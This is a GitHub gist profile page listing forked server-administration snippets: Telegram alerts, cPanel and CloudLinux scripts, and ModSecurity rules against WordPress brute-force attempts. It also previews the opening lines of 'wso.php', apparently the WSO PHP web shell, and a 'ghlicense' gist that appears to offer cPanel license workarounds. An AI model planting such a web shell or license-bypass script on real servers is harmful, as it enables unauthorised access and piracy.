Skip to content

Instantly share code, notes, and snippets.

View ismailh's full-sized avatar
🎯
Focusing

Ismail Hossain ismailh

🎯
Focusing
View GitHub Profile
@ismailh
ismailh / .bash_profile
Created May 6, 2021 00:07 — forked from jonsuh/.bash_profile
Bash echo in color
# ----------------------------------
# Colors
# ----------------------------------
NOCOLOR='\033[0m'
RED='\033[0;31m'
GREEN='\033[0;32m'
ORANGE='\033[0;33m'
BLUE='\033[0;34m'
PURPLE='\033[0;35m'
CYAN='\033[0;36m'
@ismailh
ismailh / mail2telegram.js
Created January 12, 2021 10:38 — forked from ivanfgm/mail2telegram.js
Small script to send received emails to a telegram bot, easy piece thanks to: node-telegram-bot-api and mail-listener2
const makeBot = require('node-telegram-bot-api');
const mailListener = require("mail-listener2");
const config = {
// First get your telegram bot
telegramToken: 'Obtain your token talking to BotFather on telegram',
// Send a message to the bot and paste here your chat id (the response)
// TODO: login to avoid this step and allow multiple users
chatID = 'Chat ID',
// Gmail or Gsuite settings
#!/bin/bash
#
#
# This is script is a fork project from assistanz and modified/adapted for monitoring Tibia by Igor Andrade
#
# This script monitors server load, memory usage and Tibia daemon for every 10 seconds and sends notification
# to telegram in case of high usage or server offline.
#
# Get the status of bot after you start it and get chat id : https://api.telegram.org/bot[TOKENIDHERE]/getupdates
#
@ismailh
ismailh / Server Load
Created November 24, 2020 23:26 — forked from rushipkar90/Server Load
Server Load
cat /usr/local/apache/conf/modsec2.user.conf | grep xmlrpc
#xmlrpc
===================
SecRule REQUEST_LINE "POST .*xmlrpc.*" "pass,initcol:ip=%{REMOTE_ADDR},setvar:ip.maxlimit=+1,deprecatevar:ip.maxlimit=1/600,nolog,id:35061"
SecRule IP:MAXLIMIT "@gt 5" "log,deny,id:350611,msg:'wp-xmlrpc: denying %{REMOTE_ADDR} (%{ip.maxlimit} connection attempts)'"
#wp-bruteforce
===================
SecRule REQUEST_LINE "POST .*wp-login.*" "pass,initcol:ip=%{REMOTE_ADDR},setvar:ip.maxlimit=+1,deprecatevar:ip.maxlimit=1/600,nolog,id:35011"
SecRule IP:MAXLIMIT "@gt 10" "log,deny,id:350111,msg:'wp-bruteforce: denying %{REMOTE_ADDR} (%{ip.maxlimit} connection attempts)'"
@ismailh
ismailh / cloudlinux_lsapi.sh
Created November 24, 2020 23:25 — forked from brendanbbbb/cloudlinux_lsapi.sh
Cloudlinux lsapi config
#!/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
CWD="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
echo ""
echo " ####################### CloudLinux (cPanel) Installer ####################### "
echo ""
echo ""
if [ ! -d /usr/local/cpanel ]; then
@ismailh
ismailh / WHM cPanel Config Files Backup Instructions.md
Created November 24, 2020 23:23 — forked from rothkj1022/WHM cPanel Config Files Backup Instructions.md
Instructions to mirror important config files to backup folder that can be backed up remotely.

WHM/cPanel Config Files Backup Instructions

Last Updated 2019-06-18 by Kevin Roth

Mirror the current configuration files on the server to the backup folder in order to make remote backups of the system configuration. See this link for source of backup folders and files.

Make directories

# mkdir -p /backup/config/etc/cpanel/ea4
# mkdir -p /backup/config/etc/csf
@ismailh
ismailh / cldoctor.sh
Created November 24, 2020 23:22 — forked from tripflex/cldoctor.sh
CloudLinux Doctor Bash File
#!/bin/bash
LC_ALL=en_US.UTF-8
LANG=en_US.UTF-8
LANGUAGE=en_US.UTF-8
DEST=/root/cl-report
UPLOAD_URL=https://doctor.cloudlinux.com/doctor/upload
CAT=`command -v cat`
UNAME=`command -v uname`
CP="Unknown"
@ismailh
ismailh / ghlicense
Last active April 28, 2024 14:57 — forked from Vsnumimmy/ghlicense
Please don't Buy from any one.
if you buy you will scammed.
if you need license please contact : [email protected]
Must Remember Dlicense is no more.
#!/usr/bin/php
<?php
@ismailh
ismailh / dev_cli_cpanel_update_hooks.txt
Created November 24, 2020 23:21 — forked from dhaupin/dev_cli_cpanel_update_hooks.txt
Example - WHM/cPanel Update Hooks
# https://documentation.cpanel.net/display/SDK/Guide+to+Standardized+Hooks+-+The+manage_hooks+Utility
# To add a script to upcp schema (as a hook)
/usr/local/cpanel/bin/manage_hooks add script /root/src/cpanel-hooks/postupcp.sh --manual --category System --event upcp --stage post
# To remove a script as hook from upcp schema
/usr/local/cpanel/bin/manage_hooks delete script /root/src/cpanel-hooks/postupcp.sh --manual --category System --event upcp --stage post
# To list current hooks (
/usr/local/cpanel/bin/manage_hooks list
@ismailh
ismailh / wso.php
Created March 22, 2018 18:38 — forked from mihir1337/wso.php
<?php
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if($argc == 3) {
$_POST = unserialize(base64_decode($argv[1]));
$_SERVER = unserialize(base64_decode($argv[2]));
}